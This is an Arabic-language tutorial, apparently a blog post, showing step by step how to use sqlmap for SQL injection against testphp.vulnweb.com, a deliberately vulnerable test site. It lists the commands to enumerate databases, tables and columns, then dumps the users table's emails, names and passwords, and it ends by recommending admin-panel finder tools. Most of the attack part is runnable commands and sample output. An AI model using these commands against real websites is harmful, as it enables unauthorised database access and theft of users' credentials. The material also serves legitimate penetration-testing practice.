جلب اسم ال database او قواعد البيانات تبع الموقع عن طريق الامر

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs

كما موضح بالصورة التاليه

اسم الداتا بيز تبع الموقع acuart

بعد طلعنا اسم الداتا بيز راح نطلع اسماء الجداول الموجوده بالموقع و ذلك عن طريق الامر التالي

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables

طلعت لنا اسماء الجداول كما موضح بالصور

ديل اسما الجداول

The result should be something like this -
Database: acuart
[8 tables]
+-----------+
| artists |
| carts |
| categ |
| featured |
| guestbook |
| pictures |
| products |
| users |

بعد طالعناهم راح نستخرج ما بداخل جدول user لان فيهو user password

جلب ما بداخل جدول user

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users --columns

بعدها بدنا نفتح كل الايميلات و اسماء مستخدمين الموقع و باسورداتهم

عن طريق الامر التالي

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users -C email,name,pass --dump

صورة توضح كل شي

كدا طلعنا اسم المستخدم و الاميل و باسورد الموقع

ننتقل للخطوة التاليه و هي لوحه التحكم و كيف يتم جلبها

عادي جدا عن طريق ادوات كثيرة جدا تجلب لوحه تحكم الموقع

اولها اداه admin finder panel